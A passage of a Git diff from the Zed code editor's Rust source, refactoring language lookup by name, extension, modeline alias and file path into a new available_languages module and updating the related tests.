+    pub(super) fn find_name_by_extension(&self, extension: &str) -> Option<LanguageName> {
+        self.0
+            .iter()
+            .find(|language| {
+                language
+                    .matcher
+                    .path_suffixes
+                    .iter()
+                    .any(|suffix| suffix == extension)
+            })
+            .map(|language| language.name.clone())
+    }
+
+    pub(super) fn find_by_exact_name(&self, name: &str) -> Option<AvailableLanguage> {
+        self.0
+            .iter()
+            .find(|language| language.name.0.as_ref() == name)
+            .cloned()
+    }
+
+    pub(super) fn find_by_modeline_name(&self, modeline_name: &str) -> Option<AvailableLanguage> {
+        let modeline_name = modeline_name.to_lowercase();
+        self.0
+            .iter()
+            .find(|language| {
+                language
+                    .matcher
+                    .modeline_aliases
+                    .iter()
+                    .any(|alias| alias.to_lowercase() == modeline_name)
+            })
+            .or_else(|| {
+                self.0.iter().find(|language| {
+                    language
+                        .grammar
+                        .as_ref()
+                        .is_some_and(|grammar| grammar.to_lowercase() == modeline_name)
+                })
+            })
+            .or_else(|| {
+                self.0
+                    .iter()
+                    .find(|language| language.name.0.to_lowercase() == modeline_name)
+            })
+            .cloned()
+    }
+
+    pub(super) fn mark_all_unloaded(&mut self) {
+        for language in &mut self.0 {
+            language.loaded = false;
+        }
+    }
+
+    pub(super) fn remove(&mut self, names: &[LanguageName]) {
+        self.0.retain(|language| !names.contains(&language.name));
+    }
+
+    pub(super) fn mark_loaded(&mut self, id: LanguageId) {
+        if let Some(language) = self.0.iter_mut().find(|language| language.id == id) {
+            language.loaded = true;
+        }
+    }
+
+    pub(super) fn find_by_name(&self, name: &str) -> Option<LanguageId> {
+        let name = UniCase::new(name);
+        self.find_best_match(
+            |language_name, _, current_best_match| match current_best_match {
+                LanguageMatchPrecedence::Undetermined if UniCase::new(&language_name.0) == name => {
+                    Some(LanguageMatchPrecedence::PathOrContent(name.len()))
+                }
+                LanguageMatchPrecedence::Undetermined
+                | LanguageMatchPrecedence::UserConfigured(_)
+                | LanguageMatchPrecedence::PathOrContent(_) => None,
+            },
+        )
+    }
+
+    pub(super) fn find_by_name_or_extension(&self, string: &str) -> Option<LanguageId> {
+        let string = UniCase::new(string);
+        self.find_best_match(|name, matcher, current_best_match| {
+            let name_matches = || {
+                UniCase::new(&name.0) == string
+                    || matcher
+                        .path_suffixes
+                        .iter()
+                        .any(|suffix| UniCase::new(suffix) == string)
+            };
+
+            match current_best_match {
+                LanguageMatchPrecedence::Undetermined => {
+                    name_matches().then_some(LanguageMatchPrecedence::PathOrContent(string.len()))
+                }
+                LanguageMatchPrecedence::PathOrContent(len) => (string.len() > len
+                    && name_matches())
+                .then_some(LanguageMatchPrecedence::PathOrContent(string.len())),
+                LanguageMatchPrecedence::UserConfigured(_) => None,
+            }
+        })
+    }
+
+    pub(super) fn find_for_file(
+        &self,
+        path: &Path,
+        content: Option<&Rope>,
+        user_file_types: Option<&FxHashMap<Arc<str>, (GlobSet, Vec<String>)>>,
+    ) -> Option<LanguageId> {
+        let filename = path.file_name().and_then(|filename| filename.to_str());
+        // `Path.extension()` returns None for files with a leading '.'
+        // and no other extension which is not the desired behavior here,
+        // as we want `.zshrc` to result in extension being `Some("zshrc")`
+        let extension = filename.and_then(|filename| filename.split('.').next_back());
+        let path_suffixes = [extension, filename, path.to_str()]
+            .iter()
+            .filter_map(|suffix| suffix.map(|suffix| (suffix, globset::Candidate::new(suffix))))
+            .collect::<SmallVec<[_; 3]>>();
+        let content = LazyCell::new(|| {
+            content.map(|content| {
+                let end = content.clip_point(Point::new(0, 256), Bias::Left);
+                let end = content.point_to_offset(end);
+                content.chunks_in_range(0..end).collect::<String>()
+            })
+        });
+
+        self.find_best_match(move |language_name, matcher, current_best_match| {
+            let path_matches_default_suffix = || {
+                let len =
+                    matcher
+                        .path_suffixes
+                        .iter()
+                        .fold(0, |acc: usize, path_suffix: &String| {
+                            let ext = ".".to_string() + path_suffix;
+                            let matched_suffix_len = path_suffixes
+                                .iter()
+                                .find(|(suffix, _)| suffix.ends_with(&ext) || suffix == path_suffix)
+                                .map(|(suffix, _)| suffix.len());
+
+                            matched_suffix_len.map_or(acc, |len| acc.max(len))
+                        });
+                (len > 0).then_some(len)
+            };
+
+            let path_matches_custom_suffix = || {
+                user_file_types
+                    .and_then(|types| types.get(language_name.as_ref()))
+                    .and_then(|(custom_suffixes, _)| {
+                        path_suffixes
+                            .iter()
+                            .find(|(_, candidate)| custom_suffixes.is_match_candidate(candidate))
+                            .map(|(suffix, _)| suffix.len())
+                    })
+            };
+
+            let content_matches = || {
+                matcher.first_line_pattern.as_ref().is_some_and(|pattern| {
+                    content
+                        .as_ref()
+                        .is_some_and(|content| pattern.is_match(content))
+                })
+            };
+
+            // Only return a match for the given file if we have a better match than
+            // the current one.
+            match current_best_match {
+                LanguageMatchPrecedence::PathOrContent(current_len) => {
+                    if let Some(len) = path_matches_custom_suffix() {
+                        // >= because user config should win tie with system ext len
+                        (len >= current_len).then_some(LanguageMatchPrecedence::UserConfigured(len))
+                    } else if let Some(len) = path_matches_default_suffix() {
+                        // >= because user config should win tie with system ext len
+                        (len >= current_len).then_some(LanguageMatchPrecedence::PathOrContent(len))
+                    } else {
+                        None
+                    }
+                }
+                LanguageMatchPrecedence::Undetermined => {
+                    if let Some(len) = path_matches_custom_suffix() {
+                        Some(LanguageMatchPrecedence::UserConfigured(len))
+                    } else if let Some(len) = path_matches_default_suffix() {
+                        Some(LanguageMatchPrecedence::PathOrContent(len))
+                    } else if content_matches() {
+                        Some(LanguageMatchPrecedence::PathOrContent(1))
+                    } else {
+                        None
+                    }
+                }
+                LanguageMatchPrecedence::UserConfigured(_) => None,
+            }
+        })
+    }
+
+    fn find_best_match(
+        &self,
+        callback: impl Fn(
+            &LanguageName,
+            &LanguageMatcher,
+            LanguageMatchPrecedence,
+        ) -> Option<LanguageMatchPrecedence>,
+    ) -> Option<LanguageId> {
+        self.0
+            .iter()
+            .rev()
+            .fold(None, |best_language_match, language| {
+                let current_match_type = best_language_match
+                    .as_ref()
+                    .map_or(LanguageMatchPrecedence::default(), |(_, score)| *score);
+                let language_score =
+                    callback(&language.name, &language.matcher, current_match_type);
+
+                match (language_score, current_match_type) {
+                    // no current best, so our candidate is better
+                    (
+                        Some(
+                            LanguageMatchPrecedence::PathOrContent(_)
+                            | LanguageMatchPrecedence::UserConfigured(_),
+                        ),
+                        LanguageMatchPrecedence::Undetermined,
+                    ) => language_score.map(|new_score| (language, new_score)),
+
+                    // our candidate is better only if the name is longer
+                    (
+                        Some(LanguageMatchPrecedence::PathOrContent(new_len)),
+                        LanguageMatchPrecedence::PathOrContent(current_len),
+                    )
+                    | (
+                        Some(LanguageMatchPrecedence::UserConfigured(new_len)),
+                        LanguageMatchPrecedence::UserConfigured(current_len),
+                    )
+                    | (
+                        Some(LanguageMatchPrecedence::PathOrContent(new_len)),
+                        LanguageMatchPrecedence::UserConfigured(current_len),
+                    ) => {
+                        if new_len > current_len {
+                            language_score.map(|new_score| (language, new_score))
+                        } else {
+                            best_language_match
+                        }
+                    }
+
+                    // our candidate is better if the name is longer or equal to
+                    (
+                        Some(LanguageMatchPrecedence::UserConfigured(new_len)),
+                        LanguageMatchPrecedence::PathOrContent(current_len),
+                    ) => {
+                        if new_len >= current_len {
+                            language_score.map(|new_score| (language, new_score))
+                        } else {
+                            best_language_match
+                        }
+                    }
+                    // no candidate, use current best
+                    (None, _) | (Some(LanguageMatchPrecedence::Undetermined), _) => {
+                        best_language_match
+                    }
+                }
+            })
+            .map(|(available_language, _)| available_language.id())
+    }
+}
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index 2203bd30f7ac68..bef99224bd550f 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -153,10 +153,11 @@ fn test_select_language(cx: &mut App) {
     registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: LanguageName::new_static("Rust"),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -164,10 +165,11 @@ fn test_select_language(cx: &mut App) {
     registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: "Rust with longer extension".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["longer.rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -175,10 +177,11 @@ fn test_select_language(cx: &mut App) {
     registry.add(Arc::new(Language::new(
         LanguageConfig {
             name: LanguageName::new_static("Make"),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["Makefile".to_string(), "mk".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -188,13 +191,13 @@ fn test_select_language(cx: &mut App) {
     assert_eq!(
         registry
             .language_for_file(&file("src/lib.rs"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         Some("Rust".into())
     );
     assert_eq!(
         registry
             .language_for_file(&file("src/lib.mk"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         Some("Make".into())
     );
 
@@ -202,7 +205,7 @@ fn test_select_language(cx: &mut App) {
     assert_eq!(
         registry
             .language_for_file(&file("src/lib.longer.rs"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         Some("Rust with longer extension".into())
     );
 
@@ -210,7 +213,7 @@ fn test_select_language(cx: &mut App) {
     assert_eq!(
         registry
             .language_for_file(&file("src/Makefile"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         Some("Make".into())
     );
 
@@ -218,19 +221,19 @@ fn test_select_language(cx: &mut App) {
     assert_eq!(
         registry
             .language_for_file(&file("zed/cars"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         None
     );
     assert_eq!(
         registry
             .language_for_file(&file("zed/a.cars"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         None
     );
     assert_eq!(
         registry
             .language_for_file(&file("zed/sumk"), None, cx)
-            .map(|l| l.name()),
+            .and_then(|id| registry.language_name_for_id(id)),
         None
     );
 }
@@ -244,11 +247,12 @@ async fn test_first_line_pattern(cx: &mut TestAppContext) {
 
     languages.register_test_language(LanguageConfig {
         name: "JavaScript".into(),
-        matcher: LanguageMatcher {
+        matcher: (LanguageMatcher {
             path_suffixes: vec!["js".into()],
             first_line_pattern: Some(Regex::new(r"\bnode\b").unwrap()),
             ..LanguageMatcher::default()
-        },
+        })
+        .into(),
         ..Default::default()
     });
 
@@ -267,8 +271,8 @@ async fn test_first_line_pattern(cx: &mut TestAppContext) {
             Some(&"#!/bin/env node".into()),
             cx
         ))
-        .unwrap()
-        .name(),
+        .and_then(|id| languages.language_name_for_id(id))
+        .unwrap(),
         "JavaScript"
     );
 }
@@ -293,46 +297,52 @@ async fn test_language_for_file_with_custom_file_types(cx: &mut TestAppContext)
     });
 
     let languages = Arc::new(LanguageRegistry::test(cx.executor()));
+    let language_name = |id| languages.language_name_for_id(id).unwrap();
 
     for config in [
         LanguageConfig {
             name: "JavaScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["js".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         LanguageConfig {
             name: "TypeScript".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["ts".to_string(), "ts.ecmascript".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         LanguageConfig {
             name: "C++".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["cpp".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         LanguageConfig {
             name: "C".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["c".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         LanguageConfig {
             name: "Dockerfile".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["Dockerfile".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
     ] {
@@ -343,48 +353,48 @@ async fn test_language_for_file_with_custom_file_types(cx: &mut TestAppContext)
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.ts"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "TypeScript");
+    assert_eq!(language_name(language), "TypeScript");
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.ts.ecmascript"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "TypeScript");
+    assert_eq!(language_name(language), "TypeScript");
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.cpp"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "C++");
+    assert_eq!(language_name(language), "C++");
 
     // user configured lang extension, same length as system-provided
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.js"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "TypeScript");
+    assert_eq!(language_name(language), "TypeScript");
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.c"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "C++");
+    assert_eq!(language_name(language), "C++");
 
     // user configured lang extension, longer than system-provided
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.longer.ts"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "JavaScript");
+    assert_eq!(language_name(language), "JavaScript");
 
     // user configured lang extension, shorter than system-provided
     let language = cx
         .read(|cx| languages.language_for_file(&file("foo.ecmascript"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "JavaScript");
+    assert_eq!(language_name(language), "JavaScript");
 
     // user configured glob matches
     let language = cx
         .read(|cx| languages.language_for_file(&file("c-plus-plus.dev"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "C++");
+    assert_eq!(language_name(language), "C++");
     // should match Dockerfile.* => Dockerfile, not *.dev => C++
     let language = cx
         .read(|cx| languages.language_for_file(&file("Dockerfile.dev"), None, cx))
         .unwrap();
-    assert_eq!(language.name(), "Dockerfile");
+    assert_eq!(language_name(language), "Dockerfile");
 }
 
 fn file(path: &str) -> Arc<dyn File> {
@@ -1205,10 +1215,11 @@ fn test_text_objects_with_has_parent_predicate(cx: &mut App) {
     let language = Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -1254,10 +1265,11 @@ fn test_text_objects_with_not_has_parent_predicate(cx: &mut App) {
     let language = Language::new(
         LanguageConfig {
             name: "Rust".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         },
         Some(tree_sitter_rust::LANGUAGE.into()),
@@ -4348,10 +4360,11 @@ fn ruby_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "Ruby".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rb".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             line_comments: vec!["# ".into()],
             ..Default::default()
         },
@@ -4404,10 +4417,11 @@ fn erb_lang() -> Language {
     Language::new(
         LanguageConfig {
             name: "HTML+ERB".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["erb".to_string()],
                 ..Default::default()
-            },
+            })
+            .into(),
             block_comment: Some(BlockCommentConfig {
                 start: "<%#".into(),
                 prefix: "".into(),
diff --git a/crates/language/src/language.rs b/crates/language/src/language.rs
index 08712de4415a7f..f994959bdc96f5 100644
--- a/crates/language/src/language.rs
+++ b/crates/language/src/language.rs
@@ -6,6 +6,7 @@
 //! - Exposes [`LanguageConfig`] that describes how constructs (like brackets or line comments) should be handled by the editor for a source file of a particular language.
 //!
 //! Notably we do *not* assign a single language to a single file; in real world a single file can consist of multiple programming languages - HTML is a good example of that - and `language` crate tends to reflect that status quo in its API.
+mod available_languages;
 mod buffer;
 mod diagnostic;
 mod diagnostic_set;
@@ -96,14 +97,14 @@ pub use toolchain::{
 use tree_sitter::{self, QueryCursor, WasmStore, wasmtime};
 use util::rel_path::RelPath;
 
+pub use available_languages::AvailableLanguage;
 pub use buffer::Operation;
 pub use buffer::*;
 pub use diagnostic::{Diagnostic, DiagnosticSourceKind};
 pub use diagnostic_set::{DiagnosticEntry, DiagnosticEntryRef, DiagnosticGroup};
 pub use file_content::{ByteContent, FILE_ANALYSIS_BYTES, analyze_byte_content};
 pub use language_registry::{
-    AvailableLanguage, BinaryStatus, LanguageNotFound, LanguageQueries, LanguageRegistry,
-    QUERY_FILENAME_PREFIXES,
+    BinaryStatus, LanguageNotFound, LanguageQueries, LanguageRegistry, QUERY_FILENAME_PREFIXES,
 };
 pub use lsp::{LanguageServerId, LanguageServerName};
 pub use outline::*;
@@ -168,11 +169,12 @@ pub static PLAIN_TEXT: LazyLock<Arc<Language>> = LazyLock::new(|| {
             name: "Plain Text".into(),
             soft_wrap: Some(SoftWrap::EditorWidth),
             autoclose_before: ")]}".into(),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["txt".to_owned()],
                 first_line_pattern: None,
                 modeline_aliases: vec!["text".to_owned(), "txt".to_owned()],
-            },
+            })
+            .into(),
             brackets: BracketPairConfig {
                 pairs: vec![
                     BracketPair {
@@ -1750,19 +1752,21 @@ mod tests {
         languages.register_test_language(LanguageConfig {
             name: "JSON".into(),
             grammar: Some("json".into()),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["json".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         languages.register_test_language(LanguageConfig {
             name: "Rust".into(),
             grammar: Some("rust".into()),
-            matcher: LanguageMatcher {
+            matcher: (LanguageMatcher {
                 path_suffixes: vec!["rs".into()],
                 ..Default::default()
-            },
+            })
+            .into(),
             ..Default::default()
         });
         assert_eq!(
diff --git a/crates/language/src/language_registry.rs b/crates/language/src/language_registry.rs
index 6207ba7e1bce58..2e4f7200a36531 100644
--- a/crates/language/src/language_registry.rs
+++ b/crates/language/src/language_registry.rs
@@ -1,7 +1,9 @@
+use crate::available_languages::AvailableLanguage;
 use crate::{
     CachedLspAdapter, File, Language, LanguageConfig, LanguageId, LanguageMatcher,
     LanguageServerName, LspAdapter, ManifestName, PLAIN_TEXT, ToolchainLister,
-    language_settings::all_language_settings, task_context::ContextProvider, with_parser,
+    available_languages::AvailableLanguages, language_settings::all_language_settings,
+    task_context::ContextProvider, with_parser,
 };
 use anyhow::{Context as _, Result, anyhow};
 use collections::{FxHashMap, HashMap, HashSet, hash_map};
@@ -21,18 +23,14 @@ use lsp::LanguageServerId;
 use parking_lot::{Mutex, RwLock};
 use postage::watch;
 
-use smallvec::SmallVec;
 use std::{
-    cell::LazyCell,
     ffi::OsStr,
-    ops::Not,
     path::{Path, PathBuf},
     sync::Arc,
 };
-use sum_tree::Bias;
-use text::{Point, Rope};
+use text::Rope;
 use theme::Theme;
-use unicase::UniCase;
+
 use util::{maybe, post_inc};
 
 pub struct LanguageRegistry {
@@ -46,7 +44,7 @@ struct LanguageRegistryState {
     next_language_server_id: usize,
     languages: Vec<Arc<Language>>,
     language_settings: AllLanguageSettingsContent,
-    available_languages: Vec<AvailableLanguage>,
+    available_languages: AvailableLanguages,
     grammars: HashMap<Arc<str>, AvailableGrammar>,
     lsp_adapters: HashMap<LanguageName, Vec<Arc<CachedLspAdapter>>>,
     all_lsp_adapters: HashMap<LanguageServerName, Arc<CachedLspAdapter>>,
@@ -70,40 +68,6 @@ pub struct FakeLanguageServerEntry {
     pub _server: Option<lsp::FakeLanguageServer>,
 }
 
-#[derive(Clone)]
-pub struct AvailableLanguage {
-    id: LanguageId,
-    name: LanguageName,
-    grammar: Option<Arc<str>>,
-    matcher: LanguageMatcher,
-    hidden: bool,
-    load: Arc<dyn Fn() -> Result<LoadedLanguage> + 'static + Send + Sync>,
-    loaded: bool,
-    manifest_name: Option<ManifestName>,
-}
-
-impl AvailableLanguage {
-    pub fn name(&self) -> LanguageName {
-        self.name.clone()
-    }
-
-    pub fn matcher(&self) -> &LanguageMatcher {
-        &self.matcher
-    }
-
-    pub fn hidden(&self) -> bool {
-        self.hidden
-    }
-}
-
-#[derive(Copy, Clone, Default)]
-enum LanguageMatchPrecedence {
-    #[default]
-    Undetermined,
-    PathOrContent(usize),
-    UserConfigured(usize),
-}
-
 enum AvailableGrammar {
     Native(tree_sitter::Language),
     Loaded(#[allow(unused)] PathBuf, tree_sitter::Language),
@@ -143,7 +107,7 @@ impl LanguageRegistry {
             state: RwLock::new(LanguageRegistryState {
                 next_language_server_id: 0,
                 languages: Vec::new(),
-                available_languages: Vec::new(),
+                available_languages: AvailableLanguages::default(),
                 grammars: Default::default(),
                 language_settings: Default::default(),
                 loading_languages: Default::default(),
@@ -407,33 +371,25 @@ impl LanguageRegistry {
         &self,
         name: LanguageName,
         grammar_name: Option<Arc<str>>,
-        matcher: LanguageMatcher,
+        matcher: Arc<LanguageMatcher>,
         hidden: bool,
         manifest_name: Option<ManifestName>,
         load: Arc<dyn Fn() -> Result<LoadedLanguage> + 'static + Send + Sync>,
     ) {
         let state = &mut *self.state.write();
 
-        for existing_language in &mut state.available_languages {
-            if existing_language.name == name {
-                existing_language.grammar = grammar_name;
-                existing_language.matcher = matcher;
-                existing_language.load = load;
-                existing_language.manifest_name = manifest_name;
-                return;
-            }
-        }
-
-        state.available_languages.push(AvailableLanguage {
-            id: LanguageId::new(),
+        let was_added = state.available_languages.register(
             name,
-            grammar: grammar_name,
+            grammar_name,
             matcher,
-            load,
             hidden,
-            loaded: false,
             manifest_name,
-        });
+            load,
+        );
+        if !was_added {
+            return;
+        }
+
         state.version += 1;
         state.reload_count += 1;
         *state.subscription.0.borrow_mut() = ();
@@ -475,12 +431,13 @@ impl LanguageRegistry {
 
     pub fn language_names(&self) -> Vec<LanguageName> {
         let state = self.state.read();
-        let mut result = state
-            .available_languages
-            .iter()
-            .filter_map(|l| l.loaded.not().then_some(l.name.clone()))
-            .chain(state.languages.iter().map(|l| l.config.name.clone()))
-            .collect::<Vec<_>>();
+        let mut result = state.available_languages.unloaded_language_names();
+        result.extend(
+            state
+                .languages
+                .iter()
+                .map(|language| language.config.name.clone()),
+        );
         result.sort_unstable_by_key(|language_name| language_name.as_ref().to_lowercase());
         result
     }
@@ -495,7 +452,7 @@ impl LanguageRegistry {
     /// Add a pre-loaded language to the registry.
     pub fn add(&self, language: Arc<Language>) {
         let mut state = self.state.write();
-        state.available_languages.push(AvailableLanguage {
+        state.available_languages.add(AvailableLanguage {
             id: language.id,
             name: language.name(),
             grammar: language.config.grammar.clone(),
@@ -539,88 +496,38 @@ impl LanguageRegistry {
         self: &Arc<Self>,
         name: &str,
     ) -> impl Future<Output = Result<Arc<Language>>> + use<> {
-        let name = UniCase::new(name);
-        let rx = self.get_or_load_language(|language_name, _, current_best_match| {
-            match current_best_match {
-                LanguageMatchPrecedence::Undetermined if UniCase::new(&language_name.0) == name => {
-                    Some(LanguageMatchPrecedence::PathOrContent(name.len()))
-                }
-                LanguageMatchPrecedence::Undetermined
-                | LanguageMatchPrecedence::UserConfigured(_)
-                | LanguageMatchPrecedence::PathOrContent(_) => None,
-            }
-        });
+        let language_id = self.state.read().available_languages.find_by_name(name);
+        let rx = self.get_or_load_language(language_id);
         async move { rx.await? }
     }
 
-    pub async fn language_for_id(self: &Arc<Self>, id: LanguageId) -> Result<Arc<Language>> {
-        let available_language = {
-            let state = self.state.read();
-
-            let Some(available_language) = state
-                .available_languages
-                .iter()
-                .find(|lang| lang.id == id)
-                .cloned()
-            else {
-                anyhow::bail!(LanguageNotFound);
-            };
-            available_language
-        };
-
-        self.load_language(&available_language).await?
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn language_name_for_id(&self, id: LanguageId) -> Option<LanguageName> {
+        self.state.read().available_languages.name_for_id(id)
     }
 
     pub fn language_name_for_extension(self: &Arc<Self>, extension: &str) -> Option<LanguageName> {
-        self.state.try_read().and_then(|state| {
-            state
-                .available_languages
-                .iter()
-                .find(|language| {
-                    language
-                        .matcher()
-                        .path_suffixes
-                        .iter()
-                        .any(|suffix| *suffix == extension)
-                })
-                .map(|language| language.name.clone())
-        })
+        self.state
+            .try_read()
+            .and_then(|state| state.available_languages.find_name_by_extension(extension))
     }
 
     pub fn language_for_name_or_extension(
         self: &Arc<Self>,
         string: &str,
     ) -> impl Future<Output = Result<Arc<Language>>> {
-        let string = UniCase::new(string);
-        let rx = self.get_or_load_language(|name, config, current_best_match| {
-            let name_matches = || {
-                UniCase::new(&name.0) == string
-                    || config
-                        .path_suffixes
-                        .iter()
-                        .any(|suffix| UniCase::new(suffix) == string)
-            };
-
-            match current_best_match {
-                LanguageMatchPrecedence::Undetermined => {
-                    name_matches().then_some(LanguageMatchPrecedence::PathOrContent(string.len()))
-                }
-                LanguageMatchPrecedence::PathOrContent(len) => (string.len() > len
-                    && name_matches())
-                .then_some(LanguageMatchPrecedence::PathOrContent(string.len())),
-                LanguageMatchPrecedence::UserConfigured(_) => None,
-            }
-        });
+        let language_id = self
+            .state
+            .read()
+            .available_languages
+            .find_by_name_or_extension(string);
+        let rx = self.get_or_load_language(language_id);
         async move { rx.await? }
     }
 
     pub fn available_language_for_name(self: &Arc<Self>, name: &str) -> Option<AvailableLanguage> {
         let state = self.state.read();
-        state
-            .available_languages
-            .iter()
-            .find(|l| l.name.0.as_ref() == name)
-            .cloned()
+        state.available_languages.find_by_exact_name(name)
     }
 
     /// Look up a language by its modeline name (vim filetype or emacs mode).
@@ -633,32 +540,10 @@ impl LanguageRegistry {
         self: &Arc<Self>,
         modeline_name: &str,
     ) -> Option<AvailableLanguage> {
-        let modeline_name_lower = modeline_name.to_lowercase();
-        let state = self.state.read();
-
-        state
+        self.state
+            .read()
             .available_languages
-            .iter()
-            .find(|lang| {
-                lang.matcher
-                    .modeline_aliases
-                    .iter()
-                    .any(|alias| alias.to_lowercase() == modeline_name_lower)
-            })
-            .or_else(|| {
-                state.available_languages.iter().find(|lang| {
-                    lang.grammar
-                        .as_ref()
-                        .is_some_and(|g| g.to_lowercase() == modeline_name_lower)
-                })
-            })
-            .or_else(|| {
-                state
-                    .available_languages
-                    .iter()
-                    .find(|lang| lang.name.0.to_lowercase() == modeline_name_lower)
-            })
-            .cloned()
+            .find_by_modeline_name(modeline_name)
     }
 
     pub fn language_for_file(
@@ -666,7 +551,7 @@ impl LanguageRegistry {
         file: &Arc<dyn File>,
         content: Option<&Rope>,
         cx: &App,
-    ) -> Option<AvailableLanguage> {
+    ) -> Option<LanguageId> {
         let user_file_types = all_language_settings(Some(file), cx);
 
         self.language_for_file_internal(
@@ -676,7 +561,7 @@ impl LanguageRegistry {
         )
     }
 
-    pub fn language_for_file_path(self: &Arc<Self>, path: &Path) -> Option<AvailableLanguage> {
+    pub fn language_for_file_path(self: &Arc<Self>, path: &Path) -> Option<LanguageId> {
         self.language_for_file_internal(path, None, None)
     }
 
@@ -689,8 +574,8 @@ impl LanguageRegistry {
 
         let this = self.clone();
         async move {
-            if let Some(language) = language {
-                this.load_language(&language).await?
+            if let Some(language_id) = language {
+                this.load_language(language_id).await?
             } else {
                 Err(anyhow!(LanguageNotFound))
             }
@@ -702,171 +587,17 @@ impl LanguageRegistry {
         path: &Path,
         content: Option<&Rope>,
         user_file_types: Option<&FxHashMap<Arc<str>, (GlobSet, Vec<String>)>>,
-    ) -> Option<AvailableLanguage> {
-        let filename = path.file_name().and_then(|filename| filename.to_str());
-        // `Path.extension()` returns None for files with a leading '.'
-        // and no other extension which is not the desired behavior here,
-        // as we want `.zshrc` to result in extension being `Some("zshrc")`
-        let extension = filename.and_then(|filename| filename.split('.').next_back());
-        let path_suffixes = [extension, filename, path.to_str()]
-            .iter()
-            .filter_map(|suffix| suffix.map(|suffix| (suffix, globset::Candidate::new(suffix))))
-            .collect::<SmallVec<[_; 3]>>();
-        let content = LazyCell::new(|| {
-            content.map(|content| {
-                let end = content.clip_point(Point::new(0, 256), Bias::Left);
-                let end = content.point_to_offset(end);
-                content.chunks_in_range(0..end).collect::<String>()
-            })
-        });
-        self.find_matching_language(move |language_name, config, current_best_match| {
-            let path_matches_default_suffix = || {
-                let len =
-                    config
-                        .path_suffixes
-                        .iter()
-                        .fold(0, |acc: usize, path_suffix: &String| {
-                            let ext = ".".to_string() + path_suffix;
-
-                            let matched_suffix_len = path_suffixes
-                                .iter()
-                                .find(|(suffix, _)| suffix.ends_with(&ext) || suffix == path_suffix)
-                                .map(|(suffix, _)| suffix.len());
-
-                            match matched_suffix_len {
-                                Some(len) => acc.max(len),
-                                None => acc,
-                            }
-                        });
-                (len > 0).then_some(len)
-            };
-
-            let path_matches_custom_suffix = || {
-                user_file_types
-                    .and_then(|types| types.get(language_name.as_ref()))
-                    .map_or(None, |(custom_suffixes, _)| {
-                        path_suffixes
-                            .iter()
-                            .find(|(_, candidate)| custom_suffixes.is_match_candidate(candidate))
-                            .map(|(suffix, _)| suffix.len())
-                    })
-            };
-
-            let content_matches = || {
